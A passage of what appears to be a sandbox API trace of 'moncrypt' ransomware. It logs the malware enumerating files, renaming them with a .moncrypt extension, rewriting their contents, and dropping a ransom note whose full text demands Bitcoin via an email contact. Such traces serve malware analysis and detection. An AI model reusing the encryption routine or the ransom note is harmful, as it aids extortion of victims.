lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0053.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 73 [0053.742] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.742] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.742] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.742] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.742] GlobalUnlock (hMem=0x440004) returned 0 [0053.742] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.742] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.742] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.742] GlobalUnlock (hMem=0x440004) returned 0 [0053.742] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.742] GlobalUnlock (hMem=0x44000c) returned 0 [0053.742] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.742] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0053.743] CloseHandle (hObject=0x18c) returned 1 [0053.743] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\я")) returned 1 [0053.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 0x54e240 [0053.745] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.745] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.745] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", dwFileAttributes=0x20) returned 1 [0053.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.moncrypt")) returned 1 [0053.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.753] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.753] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x1936f [0053.753] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.753] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.757] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.757] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.757] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.758] GlobalUnlock (hMem=0x440004) returned 0 [0053.758] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.758] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.758] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.758] GlobalUnlock (hMem=0x440004) returned 0 [0053.758] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.758] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.758] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.758] GlobalUnlock (hMem=0x44000c) returned 0 [0053.758] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.758] GlobalUnlock (hMem=0x440004) returned 0 [0053.758] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.759] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.759] GlobalUnlock (hMem=0x440004) returned 0 [0053.759] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.759] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.759] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.759] GlobalUnlock (hMem=0x440004) returned 0 [0053.759] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.759] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.759] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.759] SetFilePointer (in: hFile=0x18c, lDistanceToMove=103279, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x1936f [0053.759] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.759] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.759] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.771] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.771] CloseHandle (hObject=0x18c) returned 1 [0053.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.772] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.772] CloseHandle (hObject=0x18c) returned 1 [0053.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0053.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.773] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.773] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.773] GlobalUnlock (hMem=0x440004) returned 0 [0053.773] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.773] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.773] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.773] GlobalUnlock (hMem=0x440004) returned 0 [0053.773] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.773] GlobalUnlock (hMem=0x44000c) returned 0 [0053.773] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a4b0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0053.774] GetLastError () returned 0x2 [0053.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.775] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0053.776] CloseHandle (hObject=0x18c) returned 1 [0053.777] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0053.777] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.777] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.777] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.777] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.777] GlobalUnlock (hMem=0x44000c) returned 0 [0053.777] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.777] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.777] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.777] GlobalUnlock (hMem=0x44000c) returned 0 [0053.777] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.777] GlobalUnlock (hMem=0x440004) returned 0 [0053.777] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.777] CharLowerBuffW (in: lpsz="SATIN.INF", cchLength=0x9 | out: lpsz="satin.inf") returned 0x9 [0053.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpUsedDefaultChar=0x0) returned 71 [0053.778] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0053.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\SATIN\\SATIN.INF", lpUsedDefaultChar=0x0) returned 4 [0053.778] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.778] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.778] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.778] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.778] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.778] GlobalUnlock (hMem=0x440004) returned 0 [0053.778] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.778] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.778] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.778] GlobalUnlock (hMem=0x440004) returned 0 [0053.778] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.778] GlobalUnlock (hMem=0x44000c) returned 0 [0053.779] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.779] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 74 [0053.779] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0053.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\SATIN\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 4 [0053.780] FindFirstFileW (in: 